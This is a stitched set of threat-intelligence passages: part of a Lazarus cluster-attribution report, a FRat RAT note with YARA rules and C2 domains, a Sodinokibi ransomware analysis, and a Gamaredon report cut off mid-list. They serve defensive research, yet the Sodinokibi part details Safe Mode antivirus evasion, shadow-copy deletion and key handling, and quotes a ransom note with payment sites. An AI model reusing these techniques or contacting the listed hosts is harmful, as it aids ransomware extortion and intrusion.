Windows command delivered by the Lazarus group, we can confirm several differences for each cluster. - When checking network connection with the netstat command, the Bookcode cluster only uses -aon option, rather than other clusters that use the -ano option. - Only the Bookcode cluster used the ESTA filtering option, whereas other clusters prefer the EST option. - Only the AppleJeus cluster uses the findstr command to filter the result rather than find. - When running the ping command, the malware operator behind the Bookcode cluster executes it with the -a -n 1 option. On the other hand, another operator tends to prefer to use the -n 1 -a option. | Clusters | Netstat commands | Ping commands | |---------------|------------------------------------------------------|------------------------------------| | AppleJeus | netstat -ano | findstr EST | ping -n 1 10.10.0.19 | | ThreatNeedle | netstat -ano | find "EST" | ping -n 1 -a 10.10.100.100 | | DeathNote | netstat -ano | find :445, netstat -ano | find EST | N/A | | Bookcode | netstat -aon, netstat -aon | find "ESTA" | ping -a -n 1 10.10.20.67 | | CookieTime | N/A | ping -n 1 -a 10.1.10.192 | | Mata | netstat -ano | find "TCP" | ping -n 1 [host name], ping -n 1 -a 192.168.10.246 | In the post-exploitation phase, each cluster carries out a different infiltration methodology. The malware operators behind each cluster utilize different tools and techniques to achieve their ultimate goals. All of the aforementioned technical differences demonstrate why we need to separate each Lazarus cluster as much as possible; that way, those attacked can respond with the most effective defense strategy. ## Victimology Every threat actor has a target. Some threat actors target geopolitical intelligence and other groups covet financial profits. The Lazarus group is one of the few threat actors with extensive victimologies. Historically, the Lazarus group wanted to steal government and diplomatic intelligence. However, later on, they began to aggressively attack financial institutions for financial profits. Each cluster under the Lazarus umbrella has its own victimology. The AppleJeus cluster has intensively attacked cryptocurrency businesses only. On the other hand, most clusters have targeted various industries. ThreatNeedle has an extensive target range and has quickly shifted its targets. ThreatNeedle first strived to obtain financial profits, but, after early 2020, it shifted its target to the defense industry. Also, surprisingly, this cluster tried to compromise security researchers in early 2021. The DeathNote cluster changed its target with the ThreatNeedle cluster. It focused on attacking cryptocurrency businesses early on, but it shifted to the defense industry from early 2020 with the ThreatNeedle cluster. ThreatNeedle and DeathNote shifted their targets in a pretty similar time frame. This means the two clusters have strong connections. The Bookcode cluster, meanwhile, heavily targeted software companies in South Korea. The operator behind the Bookcode cluster might, therefore, want to compromise the supply chain or source code. The CookieTime cluster, on the other hand, focused on the defense industry at an early stage and was then discovered attacking a pharmaceutical company when countries were developing the Covid-19 vaccine competitively. Unlike other clusters, Mata has different victimologies because its nature is similar to that of cybercrime groups. Mata compromised small and medium-sized companies all over the globe and attempted to steal sensitive data related to their customers or to spread homemade ransomware. | Clusters | Cryptocurrency businesses | Defence | S/W company | Security researchers | Pharmaceutical companies | Cybercrime-like target | |---------------|--------------------------|---------|-------------|----------------------|--------------------------|------------------------| | AppleJeus | X | | | | | | | ThreatNeedle | X | X | | | | | | DeathNote | X | X | | | | | | Bookcode | | | X | | | | | CookieTime | | X | | | X | | | Mata | | | | | | X | One more difference in victimology is the range of target countries. The Lazarus group has attacked South Korea primarily because of geopolitical reasons. But some clusters attacked numerous countries around the world, excluding South Korea. While the Bookcode cluster was only discovered in South Korea, the AppleJeus and Mata clusters attacked countries around the world except for South Korea. ThreatNeedle, DeathNote, and CookieTime are not limited to any specific country. - South Korea only: Bookcode - Global excluding South Korea: AppleJeus, Mata - Global including South Korea: ThreatNeedle, DeathNote, CookieTime ## Conclusion Any group or organization that we come across in our daily life has the ability to change its form and membership. Highly skilled threat actors, even state-sponsored groups, follow these simple principles. They may change internal members, structure, or even leadership and, in doing so, they create changes in their capabilities and methodology. The notorious Lazarus group has been active for a decade, and it’s apparent that the group has undergone many changes internally during this period. In addition, active threat actors such as Lazarus tend to evolve their tools and adopt novel technologies aggressively. This means that the longer known threat groups are active, the harder it becomes to attribute new clusters of activity to them, given that they have often retooled and reorganized old tools. Each security vendor, even each threat intelligence analyst, has a different standard for attribution. Despite the origin of the cyber attack being the same, each vendor can generate a different conclusion. As the scale and sophistication of cyber attacks by one group become greater and the changes more frequent, the gaps between vendors are increased. The Lazarus group is an excellent example of this. When the security industry first started to shed light on this group, it was relatively small and didn’t have many clusters. But now, it is a major threat actor with sufficient capabilities for attacking various industries and with a highly sophisticated set of skills. Many security vendors have endeavored to classify the group’s various campaigns but, in doing so, the gaps between security vendors’ understandings have become clear. The Lazarus group is not likely to disappear from the threat landscape anytime soon, which means attribution will continue to be a complicated issue. By explaining our process for classifying various Lazarus clusters, we aim to close the gaps in individual vendors’ knowledge. We need to be careful when drawing conclusions and share each other’s perspectives with an open mind. Also, we need to look back at what we have discovered in the past to determine what we might have missed and reduce the difference.
# FRat Note: I have not seen much coverage of this malware family. The name 'FRat' was derived from research by @James_inthe_box, seen in the linked Tweet thread below. If you have more information on this threat, please contact me on Twitter. A RAT employing Node.js, Sails, and Socket.IO to collect information on a target. ## Reporting ### Snort/Suricata H/T @James_inthe_box ### YARA ```yara rule frat_loader { meta: author = "jeFF0Falltrades" ref = "https://twitter.com/jeFF0Falltrades/status/1270709679375646720" strings: $str_report_0 = "$ReportDone = Get-BDE" wide ascii $str_report_1 = "$Report = Get-BDE" wide ascii $str_img_0= "$ImgURL = Get-BDE" wide ascii $str_img_1 = "Write-Host 'No Image'" wide ascii $str_img_2 = "$goinf + \"getimageerror\"" wide ascii $str_link = "$eLink = Get-BDE" wide ascii $str_tmp_0 = "$Shortcut.WorkingDirectory = $TemplatesFolder" wide ascii $str_tmp_1 = "TemplatesFolder = [Environment]::GetFolderPath" wide ascii $str_tmp_2 = "$vbout = $($TemplatesFolder)" wide ascii $str_shurtcut = "Get-Shurtcut" wide ascii $str_info_0 = "info=LoadFirstError" wide ascii $str_info_1 = "info=LoadSecondError" wide ascii $str_info_2 = "getimagedone?msg" wide ascii $str_info_3 = "donemanuel?id" wide ascii $str_info_4 = "getDone?msg" wide ascii $str_info_5 = "getManualDone?msg" wide ascii condition: 3 of them } rule frat_executable { meta: author = "jeFF0Falltrades" ref = "https://twitter.com/jeFF0Falltrades/status/1270709679375646720" strings: $str_path_0 = "FRat\\\\Short-Port" wide ascii $str_path_1 = "FRatv8\\\\Door\\\\Stub" wide ascii $str_path_2 = "snapshot\\\\Stub\\\\V1.js" wide ascii $str_sails = "sails.io" wide ascii $str_crypto = "CRYPTOGAMS by <[email protected]>" wide ascii $str_socketio = "socket.io-client" wide ascii condition: 3 of them } ``` ## Sample Hashes ### FRat Loader Scripts - dc948f4aacc765b1fbdd58372bb847750fcf08544841ef4a44454da8e3b46bae - 1fa16740010c3608870f4b14ccc33cd58417648d0e26a417b0e125bc4671e70a - e1a982ab68b5fd14c6723eab266d371184d395ad8e22a9d3cd93ba1c9c228458 ### FRat Executables - b330cd9151ebb66615ef6c16ab60b41dd312356505ee10a02f85bccfedda3948 - 0aa12e18ff73617f4c12a82dc35980ec1edbb9e0fdadfaa8dcf964c70ccfbe7e - dd011c1e7417131018d25543880d96c0c1ff44a6c4454b9020a183b69da80b9f - a9552d16e9c6c1a2ceb9d8ae52725cbcdac331908c37f253299d399e12c63018 - 804f30400752e1bfaf21b2f37fffb99c34876372b95181aca98dbb04efe19368 - 0f25d3cf1a783e4e0d70fba2fa0b87e2ed74bff26a4da6890dac36ba99a72726 - 1345900b66f803046730cd9c3a4465777a28e004f8de6b19f9e8ce948397f57a ## Sample C2 - go.ehades.best - go.ehades.best:8443/socket.io/?__sails_io_sdk_version=1.2.1&__sails_io_sdk_platform=node&__sails_io_sdk_l - e.hemera.best - v.hemera.best - paravan.duckdns.org - download.xn--screensht-nsd.net - travma.duckdns.org
# Sodinokibi Ransomware Analysis **Jacob Pimental** **May 2, 2021** Back in March, a new version of the Sodinokibi (AKA REvil) Ransomware was released. Sodinokibi is a Ransomware-as-a-Service (RaaS) provider that has been covered in the news quite a bit. With the new version out, I decided to give a technical analysis of how it operates. I got the sample from an overview of the new features that R3MRUM gave in a tweet towards the end of March. The file, whose hash is `12d8bfa1aeb557c146b98f069f3456cc8392863a2f4ad938722cd7ca1a773b39`, can be found on VirusTotal or Any.Run. ## Background Sodinokibi, or REvil, was first discovered in April of 2019 where it was seen exploiting a vulnerability in Oracle WebLogic. It shares many similarities to the GandCrab ransomware strain that retired around the same time Sodinokibi popped up, leading researchers to speculate whether this ransomware is operated by the same people. Being a Ransomware-as-a-Service means that clients will pay the operators for access to the latest version and have the group operate the infrastructure for them. There are two fields in Sodinokibi’s configuration that will keep track of the client and the particular client campaign during which the ransomware is deployed. Sodinokibi has been seen used in several notable breaches including Travelex and Acer. The group has recently updated the strain to add a new feature that will reboot Windows into Safe Mode to bypass AV. ## Analysis TL;DR Sodinokibi will start by dynamically building an import table to make it harder for analysts to statically analyze the sample. It also uses encrypted strings throughout the binary to make it difficult to analyze. During the initial startup phase, Sodinokibi will decrypt its configuration using RC4 which contains information such as C2 domains and one of the public keys Sodinokibi will use when encrypting files. After the initial startup phase, Sodinokibi will check the user’s language and keyboard layout to see if they are in a whitelisted location. If not, then the ransomware will generate a public and private key pair using the Elliptic-Curve Diffie-Hellman algorithm. Sodinokibi stores private and public keys as well as other important information in specific registry keys to use next time the sample is run. This version of Sodinokibi comes with a new feature known as SafeMode which will reboot the compromised computer into Windows Safe Mode with Networking. This will prevent most antivirus software from running which means Sodinokibi can run without issue. If the `exp` value in the configuration is set to `true`, Sodinokibi will attempt to escalate privileges by prompting the user in an endless loop. After this, Sodinokibi will delete shadow copies and kill any processes or services that match a list stored in its configuration. It will also send information about the computer it is running on as well as the generated private key to a list of C2 domains during this phase. Finally, Sodinokibi will use Windows IO Completion Ports to quickly encrypt files on the system, ignoring those that match the whitelisted filenames. The files are encrypted using the Salsa20 algorithm with a metadata blob the attacker can use to decrypt the file being appended to the end. Sodinokibi can walk through local drives as well as network shares depending on if the `-nolan` and `-nolocal` command-line switches are set. After all the files are encrypted, Sodinokibi will change the user’s background to tell them to read the ransom note. ## Anti-Analysis Features Used in Sodinokibi ### Dynamic Import Address Table (IAT) Sodinokibi will manually load the import address table as an anti-analysis technique. It does this by looping through a list of DWORDs and putting the correct function pointer into the IAT depending on the value of the DWORD. To bypass this technique, I ran the binary in x64dbg and dumped it after the call to the IAT population function using Scylla. This allowed me to continue analyzing this sample statically without having to worry about which functions were being called. ### String Encryption Most of the strings in the Sodinokibi sample were encrypted. The string decryption function will take five arguments: an address in memory that is served as a base, the offset from that base to the start of the key, the key length, the length of the ciphertext, and a pointer to the target variable to populate with the decrypted string. ### String Decryption Function The function will then take the data from `base + offset : base + offset + key_length` and store it in a buffer that it will use as a key. It will use that key to RC4 decrypt the data at `base + offset + key_length : base + offset + key_length + ciphertext_length`. It will store the RC4 decrypted result in the `target` variable. ### Structure of the Encrypted Data From this information, I created a small script in Python that will take the first four parameters passed into the decryption function and return the resulting string. You can find that script on my GitHub. ## Configuration Information The configuration for the Sodinokibi sample is stored as an RC4 encrypted JSON string in a section of the binary appropriately named `.cfg`. The key for decrypting the configuration is contained in the first 32 bytes of the section. After that section is a CRC hash of the ciphertext that Sodinokibi uses to validate the data before decrypting. Below is a table of all four parts of the section: | Offset (Bytes) | Data | |----------------|-------------------------------| | 0x0 - 0x20 | RC4 Key | | 0x20 - 0x24 | CRC Hash of Ciphertext | | 0x24 - 0x28 | Length of Ciphertext | | 0x28 - … | Ciphertext | The configuration structure is stored in JSON and contains 19 keys. Below is a table of the information stored in the config: | Field | Description | |-------|-------------| | pk | Public Key stored as a Base64 encoded string | | pid | Unique value that identifies the client | | sub | Unique value that identifies the campaign | | dbg | Determines whether or not to check the keyboard layout and system language to determine the user’s location | | et | Encryption type to use: 0 - Encrypt all data in a file, 1 - Encrypt only the first MB of a file, 2 - Encrypt 1 MB then skip the next MBs specified by the `spsize` field | | spsize| Number of MBs to skip when `et` is set to 2 | | wipe | Unused | | wfld | Unused | | wht | Contains three lists of whitelisted objects: fld: Whitelisted Folders, fls: Whitelisted Files, ext: Whitelisted Extensions | | prc | List of processes to terminate | | dmn | List of C2 domains separated by “;” | | net | Whether or not to send information to C2 | | svc | List of services to close and delete | | nbody | Body of ransom note stored as a Base64 encoded string | | nname | Filename for the ransom note | | exp | Whether or not to attempt running the application with Administrator privileges | | img | Text to add to the desktop background alerting users that their files are encrypted. Stored as a Base64 encoded string | | arn | Whether or not to set a registry key to have the application run on startup | | rdmcnt| Maximum number of folders to write the ransom note to. If zero, write the ransom note to all folders | An interesting thing to note is that both of the unused fields in the configuration were used in previous versions of Sodinokibi. According to an analysis done from Panda Security, the `wipe` value was used to determine if Sodinokibi would delete directories stored in the `wfld` value. ## Command-line Arguments The newest version of Sodinokibi has seven optional command-line switches that control different aspects of the infection process. The table below gives an overview of the different switches available: | Switch | Description | |----------|-------------| | nolan | Do not encrypt network shares | | nolocal | Do not encrypt local files | | path | Specify directory to encrypt | | smode | Reboots the computer in Windows Safe Mode | | silent | Do not kill processes and services | | fast | Only encrypts the first MB of a file (sets `et` to 1) | | full | Encrypts entire file (sets `et` to 0) | ## Language Checks One of the first things Sodinokibi will do is identify the user’s location based on the language of the system and the user’s keyboard layout. Sodinokibi utilizes the `GetUserDefaultUILanguage` and `GetSystemDefaultUILanguage` functions to get the language code and then runs that code against a list of hardcoded values. If the system language matches, then the program will exit. Next, it will get a list of input locale identifiers for the system using the `GetKeyboardLayoutList` function. It will take the last byte of these codes and compare them to a hardcoded list of values. If any of the input locale identifiers match, then execution is halted. ## Key Generation Sodinokibi will use the elliptic curve algorithm Curve25519 to generate a public and private key pair as well as shared keys that will be used for encryption. Once the key pair is generated, Sodinokibi will take the new private key and encrypt it using the public key in the configuration, `pk`, and another public key that is stored in the binary. The encryption process works by creating a new, temporary key pair we’ll call `tmp_key` and creating a shared key between the private `tmp_key` and the public key passed into the function. We will call this `shared_key` for simplicity’s sake. Next, Sodinokibi will generate a random 16 byte IV value. It will then use the IV and `shared_key` to encrypt the data that is passed into the function using AES. Finally, Sodinokibi will take the newly encrypted data and append the value of `shared_key`, the IV, and the CRC hash of the encrypted data to the end. ## Persistence ### Run On Startup If the value of `arn` in Sodinokibi’s configuration info is set to `true`, then it will attempt to make itself persistent by creating a registry key under `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. It will create the key `qZhotTgfr3` with the path to the binary as the value. This will allow the malware to run every time the user reboots their machine. ### Reg Key Creation Sodinokibi will also store important information such as generated keys in the registry to retrieve them next time it runs. It will store these keys under `SOFTWARE\BlackLivesMatter`. The table below shows the keys it creates and their values: | Key | Value | |----------|-------| | 54k | Contains the value of `pk` from the configuration | | Krdfp | Contains the private key encrypted by the public key in the configuration | | a0w0 | Contains the public key generated from elliptic curve function | | hq0G6X | Contains the private key encrypted by the public key in the binary | | XFx41h1r | Contains an encrypted string containing information that is sent to C2 servers | | x4WHjRs | Contains the random file extension that gets appended to encrypted files | ## Sodinokibi SafeMode One of the new features from this version of Sodinokibi is the `-smode` flag. When running with this flag, Sodinokibi will reboot the computer into Windows Safe Mode with Networking. The reason for this is that most Antivirus software will not run when Windows is in Safe Mode. This allows Sodinokibi to bypass most Antivirus products easily. To set up SafeMode, Sodinokibi will grab the current username and change its password to “DTrump4ever”. It will then enable Autologon privileges for the user by editing the `SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon` registry key. It will also enable the setting for the user to log in with Administrator privileges by default. After this, the ransomware will set the `SOFTWARE\Microsoft\CurrentVersion\RunOnce` registry key to set itself to run on the next startup. It will store this information in the registry key `AstraZeneca`. It will then set the computer to boot into Windows Safe Mode on the next startup using either `bootcfg` or `bcdedit` depending on the Windows version. To ensure these changes aren’t permanent, the malware will set one more registry key under `RunOnce` called `MarineLePen`. This will contain another `bootcfg` or `bcdedit` command that will undo the changes on startup. Finally, the function will restart the computer by running the command `SHUTDOWN -r -f -t 02`. ## Privilege Escalation If the value of `exp` in Sodinokibi’s configuration is set to `true`, it will attempt to escalate privileges to Administrator. First, the malware will get a handle to the current process using `GetCurrentProcess`. It will then check the current permissions that the process is running using `OpenProcessToken` and `GetTokenInformation`. If the application is already running as Administrator, then the function will exit. If not, it will use the `runas` command through the function `ShellExecute` to prompt the user to run the application with Administrator privileges. It will continue to prompt the user in an endless loop until the user finally accepts. ## Service and Process Killing If Sodinokibi is run without the `-silent` switch, it will attempt to kill processes and services that match the values in the `prc` and `svc` lists in the configuration. It will start this by spawning a thread that will create a COM Object for `IWbemServices`. Sodinokibi will use this COM Object to search for newly created processes or modified services. Next, Sodinokibi will use the Service Control Manager to loop through all active services and kill them. It does this by getting a handle to the SCManager object by calling `OpenSCManager` with “ServicesActive” as one of the arguments. Then it will use `EnumServicesStatusExW` to enumerate the returned services and compare each service name to the list in `svc`. If they match, then Sodinokibi will delete the service using the `DeleteService` function. Finally, Sodinokibi will loop through any active processes using the `Process32FirstW` and `Process32NextW` functions and run the process name against the `prc` list. If the `prc` list contains the process name, then the process will be terminated using the `TerminateProcess` function. ## Shadow Copy Deletion When the `-silent` switch is not present, the Sodinokibi sample will spawn a thread that will delete any shadow copies that are present on the system. It will do this by using COM Objects similar to how it kills processes and services. Sodinokibi will run the query `select * from Win32_ShadowCopy` to retrieve an `IEnumWbemClassObject` object. It will enumerate each shadow copy object and delete it using the `IWbemServices::Delete` function. ## C2 Communication When the `net` value in the configuration info is set to `true`, Sodinokibi will reach out to one of the Command and Control (C2) servers from the `dmn` list. First, it will split the list of domains by the “;” character. For each C2 in the list, Sodinokibi will build up an information string in JSON format. Sodinokibi will then take this JSON string and encrypt it using a third public key that is stored in the binary. It will use the same encryption method that was used to encrypt the generated secret key. Once the JSON information is encrypted, Sodinokibi will take the C2 domain and start to build a random URL. Sodinokibi will then send the data in a POST request with the appropriate headers. ## File Encryption To perform file encryption, Sodinokibi uses I/O Completion Ports to speed up walking the file system. This essentially allows the ransomware to create multiple threads that will wait for a file handle. Once one is sent over, the first available thread will take it and encrypt the file using the Salsa20 Algorithm. Once the completion port is created, Sodinokibi will walk the local file system if the `-nolocal` command-line switch is not set. It will start by enumerating drives and checking the drive type. If the drive is valid, it will walk through the files in it. It will also check each file and folder name against the `fld`, `fls`, and `ext` lists to see if it is whitelisted from being encrypted. It will also not encrypt a file if it is already marked as encrypted by the Windows File System. If the `nolan` command-line switch is not set, then Sodinokibi will enumerate network shares. It will use `WNetOpenEnumW` and `WNetEnumResourceW` to get shares to which it can connect. To get permission to access these shares, Sodinokibi will attempt to impersonate the current user. For every folder that Sodinokibi finds while walking the file system, it will write a ransom note to it. It will then compare a variable against the value of `rdmcnt`. If it is greater than `rdmcnt`, it will not write the note. If `rdmcnt` is equal to zero, then it will write notes in every folder regardless of the count. For each file, Sodinokibi will build a metadata structure that it will append to the end of the encrypted file. This structure is used to verify that the file is encrypted and is used to decrypt the file by the attacker. Once this metadata structure is set up, the file will be posted to the IO Completion Port to be encrypted by one of the spawned threads. Depending on the encryption type, Sodinokibi will either encrypt the entire file, only encrypt the first MB, or encrypt one MB of the file, skip `spsize` MBs then encrypt another MB and repeat. Once the file is encrypted, Sodinokibi will append the metadata blob to the end and move to the next file. Once all files are encrypted, Sodinokibi will set the background image to display the text from the `img` value in the configuration. ## Ransom Note Generation The ransom note is stored as a Base64 encoded string in Sodinokibi’s configuration under the `nbody` field. The note in this sample contains: ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] Attention!!! [+] Also your private data was downloaded. We will publish it in case you will not get in touch with us asap. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decoder.re/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as a result, The Loss all data. ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. The note contains three template variables: `{UID}`, `{KEY}`, and `{EXT}`. The `{UID}` variable will correspond with the CRC of the infected computer’s volume serial number and other information about the CPU. This data is used as a distinct identifier that Sodinokibi can use to keep track of the computer. The `{EXT}` value will correspond with the randomly generated extension that Sodinokibi will append to encrypted files. Finally, the `{KEY}` value is the encrypted JSON string that Sodinokibi will send to the Command and Control server. ## Conclusion Sodinokibi is a complex ransomware strain with many different features that the group continues to add to all the time. This latest version added the new SafeMode feature which is a smart way to bypass AV. There is definitely a lot to write about when it comes to this ransomware, and unfortunately, I could not cover it all in a single post. If you have any questions or comments about this analysis, feel free to reach out to me on my Twitter or LinkedIn. Thanks for reading and happy reversing! ## IOCs **SHA-256:** `12d8bfa1aeb557c146b98f069f3456cc8392863a2f4ad938722cd7ca1a773b39` **Registry Keys:** - `SOFTWARE\BlackLivesMatter\54k` - `SOFTWARE\BlackLivesMatter\Krdfp` - `SOFTWARE\BlackLivesMatter\a0w0` - `SOFTWARE\BlackLivesMatter\hq0G6X` - `SOFTWARE\BlackLivesMatter\XFx41h1r` - `SOFTWARE\BlackLivesMatter\x4WHjRs` **Mutexes:** - `Global\F69C27FF-AB15-CCAA-A2D6-7F7ADA90E7E3` **HTTP Headers:** - `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36` - `Content-Type: application/octet-stream` - `Connection: close` **URL Regex:** `https:\/\/[^\/]+\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|t[a-z]{2}){1,10}\.(jpg|png|gif)` ## ATT&CK Methodologies | ATT&CK ID | ATT&CK Technique | |-----------|------------------| | T1098 | Account Manipulation | | T1547 | Boot or Logon Autostart Execution | | T1548 | Abuse Elevation Control Mechanism | | T1134 | Access Token Manipulation | | T1112 | Modify Registry | | T1027 | Obfuscated Files or Information | | T1083 | File and Directory Discovery | | T1135 | Network Share Discovery | | T1486 | Data Encrypted for Impact | | T1489 | Service Stop |
# Pro-Russian CyberSpy Gamaredon Intensifies Ukrainian Security Targeting **Vitali Kremez** ## Executive Summary Pro-Russian Gamaredon APT group has evolved over the last few months, introducing new components to boost its offensive power against the Ukrainian government. The group has ramped up the scale of its operations, attacking a larger number of victims and adapting its tools and social engineering implementation to specific targets. Gamaredon activities serve as a testing ground for the Russian military to observe the potential of cyber warfare in a contemporary violent conflict or in a state-wide political confrontation. By performing efficient cyber espionage actions against institutions like the Hetman Petro Sahaidachnyi National Ground Forces Academy, Gamaredon increases the military preparedness of the Donbas militias and local paramilitary groups. Gamaredon illustrates how the fifth cyber domain enables militants to continue fighting even when all other domains are denied by the strategic or political framework. Cyberwarfare is a solid substitution when other offensive measures are too costly or dangerous. ## The “Fifth” Domain In the 21st century, cyber became an integral warfare domain joining those of the traditional land, air, sea, and space. Cyber attacks are currently listed among the top offensive tools of a potential adversary along with such classic instruments as submarines or special operations teams. The recent discussion of the Islamic Republic of Iran to retaliate digitally for the US takedown of General Soleimani concludes that kinetic and cyber offense currently exists within the same framework and one could be a substitute for another. This ability to efficiently integrate cyber offense measures into the actual battlefield of a traditional or asymmetric warfare model has been tested in the long-term military conflict unfolding in Eastern Ukraine since 2014. This confrontation revealed many characterful traits that may become intrinsic features of 21st-century warfare. Massive digital attacks on physical infrastructure, the alleged use of cyberattacks against field hardware including artillery, and military reconnaissance via cyber espionage have been employed by the Gamaredon group, specifically targeting Ukrainian military and security institutions to compromise and survey the country’s national security resilience and military power. Gamaredon evolutionary dynamics are as notable as its operations since 2013. Through the last few months, the group has introduced new components that constitute its offensive power. The scale of operations, the number of victims, the adaptiveness of tools, the persistence with which the tools are applied, the accuracy with which they are tailored for a specific goal, the quality of intelligence collection, and the level of human intelligence social engineering implementation – all of these fundamental aspects of a cyber warfare operation have continued to be improved by Gamaredon. Therefore, due to this important role the group plays in the current cyber threat ecosystem, and due to our enhanced visibility into its approach to modern security espionage, we are offering a deep dive into Gamaredon. ## Political Tensions: Russian Interest in Ukraine On January 25, 2020, the Ukrainian Security Service (similar to the US FBI) officially stated that in 2019 it prevented 482 cyberattacks against Critical Infrastructure and prohibited entry into the country of 278 individuals involved in “propaganda of separatism.” Gamaredon is exclusively targeting the Ukrainian NatSec institutions, which turns it into a full-fledged participant of the ongoing political and military tension taking place in the region. The conventional large-scale military clashes between the Ukrainian Armed Forces and the Eastern Ukraine militias mostly ended in 2015. For the last five years, the situation has resembled traditional post-Soviet “frozen conflicts” in which the opposing sides neither wage full-fledged warfare nor agree to de-escalate the situation beyond the warzone life. Being deterred from active offense with traditional armed forces, the sides are actively using alternative means. In this context, the Russian intelligence and the pro-Russian groups active in the region are naturally shifting to cyber attacks. Groups like Gamaredon become a persistent tool to continue fighting without applying kinetic powers, which would naturally damage any de-escalation process. Indeed, the intensification of Gamaredon seems to be contextual to the political and security dynamics in the region, namely, the slow but steady de-escalation and curtailment of the use of kinetic strikes. In December 2019, when we observed an increase in Gamaredon activities, the Normandy group responsible for conflict resolution in Donbas met in Paris to advance the long-term peace talks. The subjects discussed suggest that the Minsk Efforts (a framework to resolve the conflict) are advancing towards the peacebuilding stage from the initial peacemaking. DDR (Disarmament, Demobilization, and Reintegration) initiatives, resettling of refugees, the establishment of joint armed forces and police groups, exchange of POWs, and withdrawal of heavy-armed vehicles from Donbas – the format of such discussions suggest that applying traditional kinetic powers to win the Eastern Ukrainian battlefield is not an option for either side. This means that the military and paramilitary groups within both opposing armies now need to keep fighting without actually fighting. The Kremlin has recently achieved an unprecedented rapprochement with the French President Emmanuel Macron, a key player in the Normandy group, and any outbreak of violence on the Ukrainian-Militia separation line may have fatal consequences for this new partnership. This overall strategic framework makes Gamaredon well-positioned for the conflict. By performing their attacks, Gamaredon simultaneously achieves several goals which traditional military cannot achieve while locked in the defensive modality implemented by the Minsk Accords. ## Gamaredon Victimology: Along Ukrainian Separation Line Based on SentinelLabs visibility into the APT Gamaredon victims telemetry, the group affected a large disposition of victims across the Ukrainian separatist line with more than five thousand unique Ukrainian entities affected in recent months. The map of Gamaredon infections indicates attacks all across Ukraine, specifically the concentration of hits along the Separation Line where Ukrainian troops are being deployed. ## Gamaredon Technical Enhancement Packaged as self-extracting zip-archive (.SFX), the Gamaredon malware implant components contain a batch script, a binary processor .NET component, and Macro payloads. In one of the alerts, CERT-UA previously alerted on the Gamaredon Pterodo infections as follows, targeting Ukrainian state authorities: “CERT-UA together with the Foreign Intelligence Service of Ukraine found new modifications of Pterodo-type malware on computers of state authorities of Ukraine, which is likely to be the preparatory stage for a cyber attack. This virus collects system data, regularly sends it to command-control servers and expects further commands.” Some of their previous social engineering campaigns relied on intricate understanding of geopolitical and military status in Ukraine using as lures intercepting intelligence related to the military pro-Russian operation in Ukraine. Gamaredon recent targeting reveals the newer .NET framework interop integrator “Microsoft.Vbe.Interop” with the subsequent Microsoft Office Excel and Word Macro stager. The developer path found as follows: `C:UsersOpolossourcereposLoderAppLoderAppobjDebugAversome.pdb` Notably, the group behind the malware utilizes a system of server-side forwarders to process traffic from compromised victim machines, oftentimes relying on dynamic DNS providers. The newer tool included the updated execution via obfuscated .NET application of Excel and Word macros with the hardcoded CLSID GUID. ## Conclusion & Outlook The Gamaredon group recently introduced a new toolset including usage of macro payload execution via the specific processor leveraging “scripting” persistence with less reliance on the traditional binary malware approach. The group’s main characteristic remains its technical determination and persistent targeting of Ukrainian NatSec entities relying primarily on targeted lures. As for the security and military aspects of cyberattacks, Gamaredon is an illustrative example of how the cyber, as the fifth warfare domain, enables militants to continue fighting even when all other domains are denied by the strategic or political framework. It serves as a solid substitution when kinetic strikes are too costly or dangerous. From a military perspective, Gamaredon offers a cost-efficiency balance in which attempts to advance on the battlefield do not immediately lead to escalation and retaliation. It is a sophisticated way to opt-out of the traditional zero-sum game of any military operation by achieving offensive advantage without losing a political stance in a peace process. Considering the fact that contemporary conflicts tend to slide towards the Donbas-like “frozen” stage, groups like Gamaredon will likely become an inherent component of modern confrontation. ## Indicators of Compromise (IOCs) We provide the relevant research indicators of compromise (IOCs), available in MISP JSON and CSV format, on our GitHub page. - **First-Layer Domain:** masseffect[.]space - **Proxy-Layer IP:** 141[.]8[.]195[.]60 - **Proxy-Layer IP:** 188[.]225[.]25[.]50 - **SHA-256:** c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f - **SHA-256:** 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1a - **SHA-256:** e2cb06e0a5c14b4c5f58d0e56a1dc10b6a1007cf56c77ae6cb07946c3dfe82d8 - **SHA-256:** 39c6884526e7b7f2ed6e47b630010508bb5957385eccf248c961cbd5bcb802c6 ### Attack Pattern - Spearphishing Link - T1192 - Spearphishing Attachment - T1193 - Command-Line Interface - T1059 - Scheduled Task - T1053 - Scripting - T1064 - User Execution - T1204 - XSL Script Processing - T1220 - Windows Management Instrumentation - T1047 - Hidden Files and Directories - T1158 - Local Job Scheduling - T1168 - Registry Run Keys / Startup Folder - T1060 - Startup Items - T1165 - Shortcut Modification - T1023 - New Service - T1050 - Masquerading - T1036 - Account Manipulation - T1098 - File and Directory Discovery - T1083 - Network Share Discovery - T1135 - Network Service Scanning - T1046 - Remote File Copy - T1105 - Replication Through Removable Media - T1091 - Automated 